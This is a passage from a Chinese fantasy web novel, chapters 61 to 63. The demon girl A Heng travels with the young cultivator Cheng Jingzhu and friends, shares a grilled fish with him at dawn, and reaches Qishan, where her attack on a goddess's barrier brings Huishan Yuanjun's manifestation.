阿姮不耐地拧起眉头,一下睁开眼睛,只见天边白光渐露,一片灰蒙蒙的天色底下,小山正蹲在她面前。 他身上沾着好多草叶,鞋子上也有不少泥,头发和脸都是湿润的,还脏兮兮的,阿姮眉毛一挑:“你摔泥里了?” 小山却献宝似的,将一个小竹筒递到她面前。 阿姮垂眸,只见竹筒里装着一半清透的水,这时,她听见小山说道:“阿姮姐姐,这是我给你接的露水,小勤修行需要露水里面的清气,我想你也应该需要吧?就是冬天没多少露水,我接的不多,你一半,程仙长一半,你和程仙长昨晚没有吃鱼,我请你们喝露水好了,就是时间不够,没能给霖娘姐姐喝和积玉哥哥也多接一些,我今天晚上再给他们接好了。” 露水里的确蕴藏天地之间的精纯清气,对于精怪或许是好东西,但对修行的人类却是杯水车薪,阿姮是身在清浊两气之外的妖邪,对她来说,露水根本没有一点用处。 昨夜的雪只下了一会儿,那火堆又将周围的积雪烤得融化,这样的冷天,其实是没有多少露水的,阿姮盯着他递来的竹筒,里面水波漾漾,她一时愣住了。 这么一点露水,都够他趴在草丛里一整晚了。 小山飞快地将竹筒塞给她,又跑到程净竹面前去。 阿姮看到程净竹睁开眼睛,不知听小山说了些什么,他的目光也在那竹筒上停滞了一瞬,随后看向小山,似乎是道了声谢谢。 今日天上云重,没一会儿又吹起来大风,不利于御风,几人只靠双腿行路,穿过松林,走上一片宽阔的道路。 小山不安分,走着走着,便在道旁团起来雪球,偷偷砸阿姮,阿姮转过脸,红雾浮动,雪球在雾中凝滞,小山睁大眼睛,看到雪球分出数个,他连忙一边逃跑,一边大喊:“啊啊啊我错了!” 好几个雪球砸到他身上,砸得他满头都是雪。 积玉见了,哈哈大笑。 小山弯腰抓起来一团雪,往积玉身上砸,积玉一下闪到霖娘身后,霖娘被砸了个正着。 三人忽然就打成一团。 阿姮慢悠悠地缀在最后,慢慢地团出来一个大大的雪球,目光落在那黑衣少年的背影,她唇角扬起,却忽然手指僵硬。 雪球毫无预兆地从她手上掉下去,摔得粉碎,阿姮笑意一僵,她看向自己的右手,有股尖锐的疼痛顺着她的指腹一直蔓延到她的手臂,再到她的胸口。 她双足一顿,停了下来。 耳边风声不再,化成纷杂的,尖锐的声音,那些声音,像晦涩的经文,像诡秘的咒语,她头晕目眩,刹那间,阿姮立即凝神,万木春从发间化成金电,转瞬融入她的身躯,金电游走在丹田识海,那些声音却顷刻消弭,仿佛方才的剧痛全是幻觉。 “天衣人在找你。” 她耳边,出现那道熟悉的女声。 “……你说什么?” 阿姮反应过来。 “怎么?”那道女声却反问她,“你是他们的东西,却还不如我了解他们的手段?你什么都不记得,但他们一样可以召唤你。” 阿姮在短短一瞬之间回望自己的曾经,她的记忆里却只有那条黑水河,她想起方才手指的僵硬,身躯的剧痛。 “他们召唤我,我便要听吗?” 阿姮的脸色阴沉得可怕。 “可这并不是你不听话便能改变的东西,天衣人不会放弃你,”那女声不紧不慢,“他们总会想尽办法找回你,掌控你,阿姮,做选择吧。” “什么选择?” “你要继续做天衣人的东西吗?像他们一样,为这个世间带来虫灾,水患,瘟疫,甚至翻天覆地?” 阿姮闻言,冷笑:“我若说是,你是否便要立即替你的主人……杀了我?天衣人视我为他们的东西,你的主人又将我当成什么?我要活,就必须听祂的话?” “你浑身上下全是反骨,谁能让你听话?” 那女声却没所谓地笑:“我从来没有一定要逼着你做些什么,你做你的选择便好,你到底是继续做他们的东西,还是做别的?” “什么别的?” “譬如,做一个人,”那女声好似涓涓溪流,她始终祥和地流转在阿姮的耳边,“人类的心是五感之源,但人心所能够赋予一个人的,却远远不止五感那么简单,阿姮,你可想要一颗心?” 耳边风声不显,天上也没有落雪,周遭一片雾气蒙蒙,阿姮抬起脸,霖娘、积玉、小山三人打打闹闹地已经跑了很远很远。 她的目光触及那黑衣少年缓缓而行的背影,眼前却忽然花了一瞬,很快,她意识到天边的浓云拨散,日光洒下来一片耀眼的金色,远山负雪,青松苍翠,霖娘他们的影子不再只是一团乏味的黑,而在她眼中分出了深浅不同的色彩。 天上地下,万般光彩跃入她的眼中。 那黑衣少年后背的背云垂下的流苏原来不是白色,而是像他的头发一样的银色,那抹颜色随他的步履而荡。 “阿姮,不要怕选择。” 她的耳边,忽然响起昨夜他说过的话。 风轻,云淡,金色的日光照着道旁斑驳的雪光,阿姮嗅到草木混合着雪气的清香味道,她还站在原地,目光却不断追逐着那少年背后的流苏。 她忽然开口,声音很轻: “我想。” 第62章 第62章 “何人胆敢强闯岐山?”…… 耀日初照, 凛风渐隐,一片晴光映雪,风光无限,阿姮缓缓缀在后面, 从明朗白日, 走到夕阳昏昏, 小山总围着她打转,叽叽喳喳说好多话,阿姮也没有什么兴致听, 她的眼睛失控似的, 色彩来回地跳跃, 使得她总有些晕眩, 十分的疲惫。 天色将晚,他们遇见一条小溪, 那小溪边, 有一间荒废的竹篱院,院子里三两间茅屋, 院中积雪压断荒草, 屋内灰尘极厚, 一看便是久无人居住。 霖娘发现阿姮的不适, 又用帕子沾了热水给她热敷, 积玉和小山在院子里把雪扫开,燃起来一个火堆,霖娘揭开敷在阿姮眼睛上的帕子, 问道:“怎么样?” 阿姮睁眼,猝不及防看到近前高高的焰光,那颜色从火堆深处蔓延往上, 从橙红,到金黄,颜色逐渐减淡,她眨了一下眼睛,说:“好一点了。” 霖娘松了口气,将帕子放到一边,在她身边坐下来:“为什么会这样呢?你的眼睛这样折磨你,一会儿看得见颜色,一会儿又看不见,这样来回往复,你如何能受得了呢?” 阿姮没说话,踢了一下脚边的柴火,火星子窜起来,映照对面那黑衣少年的眉眼,那少年看了过来,却开口答霖娘:“不同于人类的五感,她本身只具有触觉,听觉,视觉,你的皮囊使她拥有短暂的人类五感,她自身的感官便会因为人类的五感而错乱,而她的视觉却又与人类不同,她的眼睛本无法分辨万千色彩,一旦你带给她感官作用减弱,她的视觉,味觉,嗅觉,都会有不同程度的紊乱,直到你的感官对她的影响彻底消失。” “那要到什么时候才会彻底消失呢?” 霖娘问道。 积玉在旁,他先是看了一眼阿姮,随后说道:“照如今这个程度,只怕是快了。” 篝火的焰光不断地跳跃,阿姮坐在一截粗壮巨大的树根上,始终笑眼盈盈,却并不说话。 小山从溪边跑了回来,他拿着一根树枝,树枝上插着几条已经处理好的鱼,见他们围坐一处,便飞快地跑过去:“这条溪里的鱼很肥很肥,却个个灵巧,幸亏我小山大侠眼疾手快,一抓一个准!” 积玉烧的篝火正好,小山很快将鱼一条条烤好,积玉和霖娘都躲不过他的热情,再加上他烤鱼的手艺确实很好,两人都爽快地接来了鱼,小山递给程净竹,程净竹道了声谢,却仍旧不受:“荤腥于修行不利,我便不用了。” 随后,他起身,往茅屋中去了。 积玉顿时觉得手中的烤鱼像是个烫手山芋,但见小山有些失落,他立即拍了拍他的脑袋:“我小师叔已经修成金身,早已辟谷,你知道什么是辟谷吗?就是什么都不用吃,只需要炼化天地之间的清气,便足以维持自身,不饿不倦。” 小山的嘴巴张得大大的:“哇……好厉害。” 积玉一副悔恨模样:“虽说上清紫霄宫并无宫规严令弟子不许食用荤腥,但小师叔说得没错,荤腥于修行不利……” 说着,他嗅到烤鱼的香气,吞咽了一下唾沫,不知道小山除了盐以外还用了什么香料,总之这味道实在香极了,但积玉还是忍痛将它还给小山:“我还是不吃了。” 其实修行之人并非不能食用荤腥,只是长时间食用鸡豚狗彘必然会影响清气的精纯,与这些寻常家禽,或是野味相比,鱼对于清气的影响其实并不算大,但从前在药王殿,积玉是连鱼都很少吃,之前那回是不忍拒绝小山的好意,但小山烤的鱼实在是香,这回他是实打实的馋虫作祟。 但这是不应该的。 积玉立下誓言:“我要像小师叔那样,要早日修成金身,就不能在馋嘴了!” “……好吧,”小山表示理解,拿回烤鱼,“那我吃两条好了。” “你可能要吃三条了。”霖娘面露难色。 她根本不知道荤腥竟然会影响以清气为根基的修行,想起来这一路上吃了那么多的好吃的,她实在有点后悔。 “吃你的吧,你如今是鬼身,荤腥入口,也不过尝个滋味,根本不用过五脏庙,自然不会影响你的修行。” 积玉没好气地说道。 小山正愁自己一个人怎么吃三条,却见霖娘听了积玉这番话,便飞快地收回了烤鱼,他不由哈哈笑起来。 “原来是这样啊。” 霖娘松了口气,心里的负罪感一扫而空,正要放心吃鱼,却又忽然一顿,一下抬起头,看向阿姮。 阿姮似乎并不在乎他们在说些什么,她的目光久久停在听边,霖娘顺着她的视线看去,那片流霞光彩无限,漂亮极了。 “阿姮姐姐,小孩一点也不好吃,但是你可以尝尝小鱼的味道,肯定好吃。” 此时,小山偏头,对阿姮说道。 “小山,”霖娘朝他招招手,待小山到她面前,她说道,“我早说了,你阿姮姐姐那是吓你呢,她不吃小孩,也不吃鱼,什么都不吃。” “什么都不吃?阿姮姐姐也有金身吗?” “当然没有,但她本来就什么都不用吃,何况,”霖娘说着,看向阿姮,“她如今尝不到任何滋味。” 霖娘此时忽然也什么都不想吃了。 “尝不到滋味?” 小山的眼睛大睁起来,脱口而出,“为什么会尝不到滋味呢?” 篝火里火光迸溅,周遭却忽然安静,积玉看了看坐在树根上的阿姮,又不自禁地往茅屋那边看了一眼,他说道:“阿姮姑娘,要不然你诚心地去求一求我小师叔?” “他有什么法宝吗?” 阿姮瞥他一眼,终于出声。 “那倒不是。” 积玉摇头。 “那你在说什么废话?” 阿姮哼了一声。 “你听我说啊,”积玉身体前倾了些,他一脸认真,“你们有所不知,大概在我十岁的时候,有一天我弄丢了我娘留给我的遗物,我在药王殿里找了一整天也没找到,还耽误了练功,师父罚我扫落叶,我实在没办法接受我把我娘的遗物弄丢这件事,就一边扫一边哭,那个时候,我看到了小师叔。” 积玉记得,那日他从午后扫到黄昏,正值深秋时节,药王殿的古树落叶很多,总也扫不完,他不停地扫,也不停地哭。 殿中弟子都在上晚课,四下寂寂,一阵风吹来,很快将他扫到一起的树叶堆给吹散了,他本就委屈难过,当下更是号啕大哭。 白玉阶上,有很轻的步履声。 积玉还以为是师父,吓得不敢哭了,回头之际却发现是小师叔,他其实一直不太愿意叫他小师叔,因为小师叔太小了,才六七岁,却是师祖的弟子,师父的小师弟,积玉一边吸鼻子,一边不情不愿地喊了声:“小师叔。” 小师叔一向是不怎么理人的,他从阶上下来,那张稚嫩幼小的面庞上没有任何的表情,积玉常常因为他不符稚龄的冷而心中泛怵,他与药王殿其他弟子一样,都觉得这位年纪小小的小师叔处处奇怪,十分的诡秘,令人根本不敢接近。 积玉如常一般让开一条道,但小师叔走过他身边,却忽然停下,紧接着,他听到小师叔说:“你为什么哭?” 积玉抬起头,鼻涕眼泪还在脸上,十分的狼狈,他不知道小师叔为什么忽然问他,但他还是老老实实地说:“我把我娘留给我的东西弄丢了,我……我娘生我的时候死了,我不知道她长什么样子,她只留给我一朵珠花,我却把它弄丢了,我以后想娘的时候可怎么办啊……” 说着说着,积玉又忍不住哭了。 积玉常常觉得,小师叔对什么都漠不关心,他总是在练功,读书,造法器,学医术,从来没正眼看过任何人,但不知道是他哪句话的缘故,小师叔盯着他片刻,忽然问:“你娘的珠花什么样?” 积玉一边抽泣,一边说:“就是很普通的珠花,淡青色的,很小一朵。” 小到,它无论落在哪儿都根本不显眼。 小师叔听了,点点头,说:“你今天会找到它的。” 积玉一愣,抬起头,小师叔却已经走远了,黄昏的光影里,他看到小师叔抱着几本书,小小的影子很快远了。 “我本以为小师叔只是在安慰我,”积玉见气氛烘托得当,他的语气更加神秘,“我本是没当回事的,当天晚上连饭都吃不下,结果在回寝舍的路上,我一脚就踩上了什么东西,我把脚挪开一看,竟然是我娘的珠花!” “……是巧合吧?” 霖娘说道。 “我觉得根本不是巧合!” 积玉连忙反驳,甚至将自己小心放在怀里的珠花给拿了出来,“你们看,我娘的珠花这么小,当时,我脚下就是砖缝,它要是掉到砖缝里,我踩上去都感觉不出来,但是它明明就在砖缝旁边,而且,最重要的是,小师叔当时是十分笃定地对我说,我当天一定会找到它,然后我就找到了,再也没有弄丢过!” 阿姮抬眸,看了一眼他手里的珠花,那珠花的确很小,淡淡的青色,玉料瑕疵多,不够剔透,十分的粗陋,的确是很不起眼的小东西。 “我小师叔很灵的!” 积玉一脸坚定。 小山听他说得有鼻子有眼,便不由对阿姮说道:“阿姮姐姐,要不……要不你找程仙长试试?万一真的像积玉哥哥说的那样,十分灵验呢?你要是一直没有味觉的话,那还有什么乐趣呢?” 何况,她不仅仅只是失去了味觉,不仅仅只是尝不到滋味,她的眼睛也终究要看不见颜色,看不见四海山川,万般风光原本的色彩,她会失去嗅觉,四时花木变幻多姿,而她却再也闻不到那些香气。 “你们人类的东西也没有很有趣,”阿姮坐在树根上,双脚荡啊荡,鞋面上的山茶绣花红得艳丽,“小崽子你懂什么?我的乐趣多着呢。” 说着,阿姮站起来,转身往左边的茅屋里去。 霖娘站起来,看着阿姮的背影融入一片浓暗的阴影里,很快,她推门进了屋子,霖娘连忙跟上去:“阿姮,我还没有打扫屋子呢,你等一等……” 霖娘花了一个时辰将屋子打扫干净,床上却并没有什么被褥,只有一张草席,她让阿姮在床上打坐,自己则坐到了才擦干净的桌上。 不知多久,人语尽消。 阿姮睁开眼,一点烛火照见对面那张桌上打坐的霖娘,她盯着霖娘看了会儿,霖娘毫无所觉,似乎在潜心修炼。 阿姮再度闭起眼睛,不知道是不是这屋子中的扬尘并没有除干净,她觉得有什么毛絮拂过,不由抿了一下嘴唇,却忽然一顿。 她睁开眼睛,伸出手指抹了一下嘴唇,淡红的颜色揉开在她的指腹,这是霖娘硬给她涂的口脂。 她舔了一下指腹。 竟然不是错觉。 她尝到了这口脂的味道,有点微末的甜,混合着花香,还有她辨别不出的味道,其实不算什么好味道。 阿姮侧过脸,窗纱上清辉不再,月光不知何时已经消失,天色也似乎不那么浓黑了。 她穿上绣鞋,举止很轻地出了房门,跑出院子,快要靠近小溪边,她看到一片雪白世界,那小溪在晦暗的天色中轮廓模糊,却偶有银光闪烁。 溪边有一堆火,那火堆旁,坐着一个人。 阿姮的步履慢下来。 她慢慢地走过去,火堆的焰光朗照,她看清他襟前水青色的宝珠,腰间雪亮的银尾法绳,看清他剔透琳琅的珠饰,看清他银灰色的长发,那双清润的眼睛。 阿姮的目光定在火堆上正被炙烤的那条鱼。 “小神仙,你怎么心口不一啊?” 阿姮笑眼盈盈,好似抓住了他的把柄。 程净竹却神色自若:“你便是表里如一,上下明彻了?” 阿姮几步走近,坐到他的身边,烟熏火燎中被炙烤的鱼肉散发出阵阵香气,她盯着看:“就抓了一条啊。” “你不是说荤腥不利于修行吗?”她说着,转过脸来,“我们相识这么久,只见你爱饮茶,谢府,檀园,多少好的酒席,你却什么也不吃,什么也不喝,那会儿小山专门烤了鱼给你,你也不要,为什么现在又想吃了?” “忽然有点好奇。” 程净竹言辞清淡。 “好奇?”阿姮望着他,面前火堆的焰光在他胸前的宝珠上跳跃,光影拂动,她难以置信般,眼睛睁大了些,“你从来没有吃过鱼吗?还是说,你长这么大,什么东西都不吃?” 程净竹看了她一眼,没说话。 阿姮更加惊愕:“不可能啊,你不是人类吗?人类不吃东西是会饿死的,你修成金身之前也什么都不吃吗?那你怎么没有饿死?” 忽然之间,阿姮想到之前积玉曾说过的“活人命,死身躯”,至今,她其实仍然不能明白这其中的深意。 阿姮看着他。 他明明是活生生的,那双眼睛生动又富有光彩,他的身躯是热的,她听过他胸膛里心脏跳动的声音,这一切,明明和一个活人别无二致。 可是,作为一个人类,他竟然从来不吃人类的食物,从来不曾尝过一口人间滋味。 “谁知道你是不是在骗我呢?” 阿姮审视着眼前的少年,却无法从他那副面容上看出任何东西,她从前看不穿他,如今也一样,“你总是骗我,在赤戎时,你明明早已看穿我的意图,知道我打的什么主意,你却根本不拆穿我,还骗我说你给我的东西是药,但其实,那根本就是你们人类小崽子吃的糖丸吧?你将那东西带在身上,却也没有尝过吗?” 程净竹一边往火堆里添柴,一边说道:“那本就是给你的。” 阿姮一怔。 本就是给她的……是什么意思? 他从来不吃任何东西,自然也不会无缘无故将一瓶糖丸带在身上,他从来没有尝过一口,他说,是给她的。 此时,他侧过脸来,四目相视。 火光闪烁着,映于彼此眼中。 “为什么?” 她出声。 少年想了想,说:“觉得你也许会喜欢。” 阿姮一下挪开目光,她盯着自己绯红的鞋面:“你……明明都没有尝过,怎么知道我喜不喜欢?” “我在药王殿学医,常有炼药的课业,很多时候,我必须要尝其味,辨其性。” 他说。 “药不都是苦的吗?” 阿姮眉头皱起来。 “并不是,药也分五味,甘酸苦辛咸,我尝过甘草,它的滋味应该跟糖丸差不太多。” “可那不还是药的味道吗?反正煮到一锅里就变成了难喝的东西,”阿姮抬起眼,看向他,“你们人类修行一定要如此辛苦吗?还是说你这个人就是愿意自苦?我看积玉都不像你这样,对自己如此严苛。” “我并不觉得苦,又何来自苦一说?” 程净竹用树枝拨开烧红的柴火,使那焰光垂落了些,他的声音沉静,“不食百味,也并不是因为修行,而是我对这些东西原本便没有欲。” “没有吗?” 阿姮说着,看向火堆上被穿在枝上的烤鱼,这一阵,它内里的油脂已经被烤了出来,外层焦酥,香气更加浓郁,“那你为什么又忽然想吃鱼?” 火堆暖黄色的光影摇摇晃晃,将地上的影子拉得很长,灼热的温度使得周围的积雪融化了很多,露出来一片斑驳的碎石滩。 程净竹轻抬眼帘,看向她。 她一点也不知道,她直勾勾盯着那烤鱼的样子有多好笑。 “你的味觉恢复了?” 他的声音冷不丁地落来。 阿姮一顿,正不知他怎么看出来的,却见他取下火堆上的烤鱼,递给她。 “你不吃吗?” 阿姮望着他。 他的眼睛剔透又清冷,浓密的眼睫轻动,摇头,说:“我已经不想吃了。” 阿姮接过烤鱼,她嗅了嗅,真的好香好香,简直跟小山烤得一样香,也不知道他是不是偷看过小山的独家秘方。 可是这么香的烤鱼,他怎么又忽然不想吃了呢? 闻闻味就够了吗? 阿姮啃了一口鱼肉,很烫,但是真的好好吃,她忍不住弯起眼睛,但忽然间,她抬起脸,却见程净竹正在看近前那条溪流。 此时,天色似乎又亮了一些,像画卷上的浓墨转淡。 溪水里,游鱼冒头,激荡起一圈波浪。 但阿姮看着他,他仍然那么安静,他的眼睛明明看到那么生动的一幕,明明见水面横波,鱼尾点水,但他眼中却浑如无物。 仿佛无论什么,都激不起他分毫兴趣。 “你亲自烤的鱼,真的一口都不吃吗?” 阿姮忽然说道。 程净竹转过脸来,正要说些什么,阿姮却飞快地撕下来一点鱼肉,递到他唇边,他没有动,抬眸看向她。 阿姮笑盈盈的:“小神仙,尝尝看吧。” 轻风拂来,她耳边的浅发有点打卷,程净竹似乎还没怎么反应过来,鱼肉入了口,他从未食用过荤腥,入口的并非鲜美滋味,相反,他觉得很腥。 那种腥味令人难以忍受,他的眉头紧皱起来,只觉十分的恶心。 但他强忍恶心,吞了下去。 药王殿中有些弟子常年茹素,闻到荤腥便会觉得恶心难受,他虽荤素皆忌,但此时自己这副反应,应该是与那些弟子差不太多的。 溪流里,又有鱼尾扫水而过,泛起涟漪。 天边有金芒浮动,朝阳已有破云而出的趋势,阿姮看到溪流里粼光点点,清澈的水流中,鱼影灵动。 程净竹强压不适,却见阿姮忽然飞快地从他身边掠过,他抬眸望去的刹那,她将鞋子踢掉在溪边,身姿轻盈地跃入水中,俯身探水,一举从中抓出来一条鱼。 那鱼在她手中惊慌地摆动。 水珠迸溅,她稍稍侧过脸躲开,日光在天边透出一片连绵的金色,那种颜色落在溪中,在她身上,拂过她的鬓发,她那双眼娇波流慧,盈盈生光。 “这条路上吃!” 阿姮兴冲冲地说道。 哪知她话音才落,鱼却从她掌中滑走,“啪”的一声砸入水中,溅起来的水花扑了她满脸,她拧起眉头,低头在水里执拗地找那条逃走的鱼。 日出的光辉朗照万物,照见一片斑驳雪意下的勃勃生机,程净竹望着溪流中衫裙湿透的阿姮,游鱼不断从她纤细苍白的脚踝边过,但她仍然在认真地辨认着方才逃走的到底是哪一条。 “为什么一定要方才那条?” 他忽然开口。 “那条最肥最漂亮啊。” 阿姮没有抬头,仍在寻找:“你没看到吗?它的鱼鳞每一片边缘都有点红色,那是我最喜欢的颜色。” “那若是你身上所有人类的感官都消失不见,你怎么办?” 程净竹问道。 阿姮闻言一顿,随后缓缓抬头,她的脸颊很湿润,鬓发还在滴答着晶莹的水珠,她的目光有一瞬落在他的胸口。 怎么办? 她仍然最喜欢他的心脏,如果她拥有一颗人类的心脏,那些失去的感官,便会很轻易地回到她身上。 但她的目光缓缓从他的胸口,移到他的脸上,她唇边含笑:“我能怎么办?那本就是不属于我的东西,既然终究要消失,我便接受它的消失。” 程净竹一顿,神情微动,显然有些意外。 “我这也是没有办法,谁让我身上有你的火焰咒术呢?”阿姮以一副无可奈何的口吻,眼波流转,十分慧黠,却忽然又话锋一转,“若没有这咒术在身,积玉那个傻子的心脏,说不定早在我的壳子里了。” 程净竹面无表情,侧过脸,不再理她。 阿姮见他这样,“哼”了声:“喂,我开玩笑的,你这么小气做什么?你们药王殿的人,我一个都不动,行了吧?” 说着,阿姮转过脸,望向天边日出:“我有时候会想,你们人类常常可以看到这样的日出,是不是便不会觉得它美了?但好像也不是,总有人不论看多少次也还是一样觉得它美,我从前这双眼不辨颜色,我在黑水河里很多年,每逢冬季,河上结冰,冰上有雪,我从来不觉得这些东西有什么好看的,但如今看到颜色,发觉雪还是雪,冰还是冰,我却觉得,它们其实是很漂亮的,山间的雪,檐上的雪,飞浮的雪,各有各的好看,所以,我这双眼睛原本看到的世界,其实也不是一无是处。” 阿姮转过头,重新看向岸边的少年,一片晨光之中,她仿佛从来没有这样坦荡过:“我承认,我很喜欢光彩万千的世界,但我终究不是人类,没有你们人类的感官,可你呢?你明明什么都拥有,你有很多机会,很多时间,却为什么不肯珍惜呢?你这样,我是会嫉妒你的。” 程净竹的目光再度落到她的脸上。 “小神仙,” 阿姮轻抬起脸,闭起眼,日光照在她的脸颊,水珠不断顺着她的衣袖滴落,此刻风很轻,她几乎可以感受到日光的暖,“你真是身在福中不知福,你浪费你的感官,却不许我取你的心脏,也不许我取积玉的心脏……可我不掠夺,便无法拥有,积玉说他曾经弄丢了一样很重要的东西,你断言他一定能将其找回来,然后他就真的找了回来……” 阿姮忽然睁开眼,看向溪边的黑衣少年,她一步,一步地朝他走近,水声随她的步履而泠泠激荡:“他说你很灵验的,如果我现在诚心诚意地求你,我身上人类的感官会不会永远属于我?” 程净竹一怔,似乎是没料到积玉将这件事说了出来,他凝视着靠近他的阿姮,她的脸颊仍然湿润,朝阳之间,那么苍白,艳丽。 “我不能无中生有。” 半晌,他道。 阿姮盯着他,忽然笑了:“无中生有,你的意思是说,我本来便没有的东西,你不能令我得到,小神仙,你又在耍我玩吗?积玉的话我才不信呢,我还没听过这世上真有什么言出法随的本事,就是天上的神仙也不一定能做得到吧?我不过就是想听你说两句好听的,你便连这也不愿敷衍我吗?” 天边金芒耀眼,她脚下粼波清澈。 程净竹一把将她拉到岸边来,随后抬手,那被她踢得东一只,西一只的绣鞋转瞬整齐地摆到她的脚边。 程净竹松开她,说:“我不会敷衍。” 阿姮闻言,气呼呼地抬脚把鞋子踢开,正要发作,却听他说道:“我不能无中生有,也无法让别人的感官永远属于你。” 阿姮仰起脸,与他相视。 “但你一定会再拥有完整的五感。” 清凌凌的日光中,他的眼睫微垂,那双眸子那么的漂亮,令阿姮无法错开分毫视线,她听到他说:“那是永远属于你的东西。” 水珠还在顺着她的衣摆滴滴答答,阿姮愣愣地望着面前的这个黑衣少年,天光渐盛,而她眼中万般色彩闪烁一瞬,骤然开始无声褪去,他襟前的宝珠颜色褪去,他长发银色的光泽也褪去,天与地,还有他,都融成了水墨的颜色。 但阿姮却好平静,也许是因为万木春许诺过的那颗心脏,可她其实并不那么相信万木春,但她此刻看到他眼里的认真,阿姮不知道为什么,她相信了,相信他的每一个字。 她缓缓露出笑容:“希望你的话,真有那么灵验。” 阿姮穿上鞋子,两人用积雪灭了火,回到篱笆院里,程净竹回到屋中,积玉维持着打坐的姿势,却似乎早已睡着了。 此时,也不知是被程净竹推门的声音惊动,还是什么,他眼睛还没睁开,鼻子嗅了嗅,嘴巴嘟囔了声:“好饿……” 他被自己肚子咕咕叫的声音惊醒,一下睁开眼,却见程净竹脱下那件黑色的衣袍,正拿出来一件靛蓝色的外袍要换。 “小师叔。” 积玉还不是很清醒,他喊了声,便往窗外望,院子里的火堆还是昨晚的,早灭了,他皱起眉,“奇怪,我怎么闻到点烤鱼味……” 程净竹没理他,换好衣袍,穿戴整齐,便往外面去。 积玉知道这是要走了,他赶紧起身背上金剑,收拾好包袱追出去。 今日似乎也是一个晴天。 风不重,雪不落。 一行人御风半日,终于抵达岐山,几人还未下去,只拨开云气,便见岐山连绵巍峨,直插天际,强烈的金光笼罩着整个岐山,又有云雾茫茫,令人根本没有办法看清岐山全貌。 “那应该便是惠山元君的结界了。” 积玉说道。 霖娘从云端往下望,只见山脚下一片密影如织:“底下似乎有好多人。” 几人飞快从云上掠下去,落到山脚下,阿姮凝出身形,听见嘈杂的人声,她抬起头,只见不远处一群人挤在一起,看他们的打扮,有些僧,有些道,还有些凭穿着看不出来什么身份的人,但他们身上有清气,大约也是玄门修士。 阿姮想起之前在林中听到那两道所说的话,此时便明白过来,果然正如那两道所说,不少玄门中人都往这儿来了。 却不知,他们是来求假功名,还是真济世。 “惠山元君的结界,别说我们这些人,就是上界的神仙们,只怕也没几个破得了吧?”那人堆里,有人说道。 “我们又不是来破结界的。” 一年约五十来岁的道士站在结界前,他的肉眼根本无法直视那结界之间的金光,他胡须飘飘,声音沉稳:“惠山元君在山中降妖,我等便在此,是为其护法的,若有个什么妖魔邪祟前来打结界的主意,便是我等的责任了。” “无晦子道长说得是啊。” 另一个中年道士穿着灰扑扑的道袍,头发梳得很是随便:“诸位,咱们安心守在这里便是了。” “阿姮……” 霖娘远远望着那人群中才说过话的两名道士,她摸着下巴,“我怎么觉得那两个人有点眼熟啊。” 阿姮也觉得眼熟。 “小师叔,若不想办法进结界中去,我们又要如何问惠山元君关于军中妖祸的事?”积玉仰望着那片刺目的金光,不由说道。 “我等在此守了多日,也不见什么妖魔邪祟,他们定然是惧怕惠山元君的威名,不敢来犯!” “这却说不一定,如今那帮妖孽得了天衣人相助,自认无法无天,何况,那占据岐山为祸四方的蛇妖在妖类之中素有名望,保不齐便有什么妖物前来!” 那堆人叽叽喳喳的,说个不停。 小山望着自己手心里的触角,触角微微发亮,他激动地说:“小勤在这里,小勤就在这里!” 也许是小山的声音惊动了那群人,他们并不整齐地转过头来,一时间,无数视线落在阿姮他们身上。 “你们是什么人?” 有个道士喊道。 而那人群之中,霖娘与阿姮都觉得眼熟的两个中年道士此时注意到了她们,也立即觉得她们两个很是眼熟。 “是你们!” 那灰布道袍的中年道士率先反应过来。 他看向那一身靛蓝色衣袍的少年,看清他眉心的戒痕,便更加笃定了,他说:“小友,想不到,你还与这二位姑娘同行啊。” 阿姮此时想起来了,那中年道士,可不就是在万艳山上要诛杀鬼女营救他的师弟们的那个么,而他身边那个……无晦子,她也想起来,似乎当时便听过这个名字,他似乎便是被峣雨救过,教峣雨阵法道术的那个。 “万艳山一别,还未请教道长法号。” 程净竹朝他颔首。 “哈哈哈哈哈哈贫道法号三真!”那中年道士神观爽迈。 “原来是三真道长。” 程净竹说道。 说着,他们一行人走了过去,那三真道长立即拨开人群迎上来,他的目光在阿姮与霖娘之间转了一圈,又看向程净竹,笑道:“想不到会在这里再遇见诸位,不知……小友你们因何来此啊?可是与我等一样,来为惠山元君护法的?” 阿姮明明感觉到这三真道士对她的忌惮,但奇怪的是,他在这众目睽睽之下,竟然并未透露她与霖娘的身份。 “当然不是了。” 阿姮先开了口,她面带微笑,抬眸见人群中那无晦子虽看着她,却也没有任何举动,她觉得有意思极了,却说道:“你们是守结界的,我们……却是来破结界的。” 此话一出,众人色变。 “小友,果真如此吗?” 那三真道长忙问程净竹。 程净竹瞥了阿姮一眼,对三真说道:“岐山妖祸人尽皆知,惠山元君费心设下结界,是为人间安宁,我等来此并非是要破结界,但我们身有要事,必须要见惠山元君。” “你要如何见元君?元君正在降妖,哪里分得出精力?” 人群中,有人质问。 “划道口子进去不就行了?” 阿姮双手抱臂。 “划道口子?” 有个年轻道士像是听到了什么笑话似的,他望着阿姮:“姑娘,你当惠山元君的结界是什么纱帐么?这结界坚不可摧,岂是你说划上一道,便能划上一道的?” “是吗?” 阿姮仰头打量那结界,金光耀耀,气流涌动,她转了转手腕,抬起下颌:“让让。” 那帮僧道不明所以,自然没人挪动,唯有那无晦子悄无声息地往旁边挪了数步。 阿姮才不管他们让不让的,抬手之际,发间的木簪融化成金芒,又转瞬在半空中凝聚成一截焦枝,她掌心往前一推,万木春骤然飞去,擦着冷风,枝尖刺破结界,那一层结界顿时气流飞涌,僧道们没有防备,被摧枯拉朽地掀翻一地。 “那是什么东西?竟然真的刺穿了惠山元君的结界!”有人惊愕地喊道。 阿姮正欲让万木春将那结界划出一道口子来,却见那结界金光闪烁,忽然之间,飞沙走石,草木摧折,一道肃冷的女声伴随强大的威压降临,几乎要震破众人耳膜: “何人胆敢强闯岐山?” 第63章 第63章 你在我的梦里,变成一棵小草…… 神降的威压是巨大的, 众人无不丹田沉坠,胸肺生疼,阿姮掌心一握,刺穿结界的万木春顿时化作缕缕金芒, 瞬间回到她的发间, 她于乱卷的狂风之中仰头一望, 笼罩岐山的金光结界在一片茫茫云雾之中凝出一缕影,那影子若流云霞光所铸,一副高洁凌厉的眼眉低垂, 俯瞰芸芸。 那便是惠山元君的法相。 “惠山元君……是个女人?” 阿姮见她高髻鬟凤, 绀帔黄衣, 戴宝珠项圈, 腰间环佩,淡绿披帛与朱红绶带齐齐飞扬, 那副容貌一情一态, 英姿无限。 霖娘亦没有想到,传闻中的七杀星战神, 竟然是一个女神仙, 她于风沙中仰望那元君霞光灿灿的法相, 一时目瞪口呆。 “既称元君, 自然是女人。” 积玉率先回过神来, 说道。 “惠山元君显灵了!” 